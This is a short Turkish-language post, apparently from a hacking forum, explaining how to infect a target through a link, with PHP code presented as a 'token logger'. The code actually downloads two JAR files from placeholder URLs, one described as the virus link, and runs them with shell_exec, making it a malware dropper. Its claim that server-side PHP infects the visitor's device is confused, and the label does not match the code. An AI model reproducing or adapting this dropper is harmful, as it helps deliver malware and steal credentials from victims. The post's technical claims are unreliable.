ilk olarak kişinin telefon veya masaüstü kullandığını bilmemiz lazım
sonra domain + hosting lazım
kişinin ne kullandığı öğrendikten sonra ona göre kod yazıp direk linkten virüs bulaşmasını sağlayabiliriz örnek bir token logger kodu ;
<?php
$uygulama1_url = "uygulama urlsi girilicek yer";
$uygulama1_adi = "reach.jar";
$uygulama2_url = "uygulama urlsi girilicek yer yani virüsün linki";
$uygulama2_adi = "main.jar";
// İndirme işlemi için fonksiyon
function indir_ve_calistir($uygulama_url, $uygulama_adi) {
global $temp_dosya_yolu; // Global olarak temp dosya yolunu tanımlıyoruz
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uygulama_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$dosya_icerik = curl_exec($ch); // İndirilen dosya içeriğini al
if ($dosya_icerik === false) {
// Dosya indirme hatası
echo "Sayfa hata veriyor" . curl_error($ch) . "<br>";
return false;
}
// Dosyayı temp klasörüne kaydet
$temp_dosya_yolu = sys_get_temp_dir() . '/' . $uygulama_adi;
$kaydet = file_put_contents($temp_dosya_yolu, $dosya_icerik);
if ($kaydet === false) {
echo "Sayfa hatası <br>";
return false;
}
// Uygulama çalıştırma
$komut = "java -jar " . $temp_dosya_yolu;
shell_exec($komut);
echo "";
curl_close($ch);
return true;
}
// İlk uygulamayı indir ve çalıştır
if (!indir_ve_calistir($uygulama1_url, $uygulama1_adi)) {
die("sayfa hata veriyor");
}
// İkinci uygulamayı indir ve çalıştır
if (!indir_ve_calistir($uygulama2_url, $uygulama2_adi)) {
die("Sayfa hata veriyor");
}
?>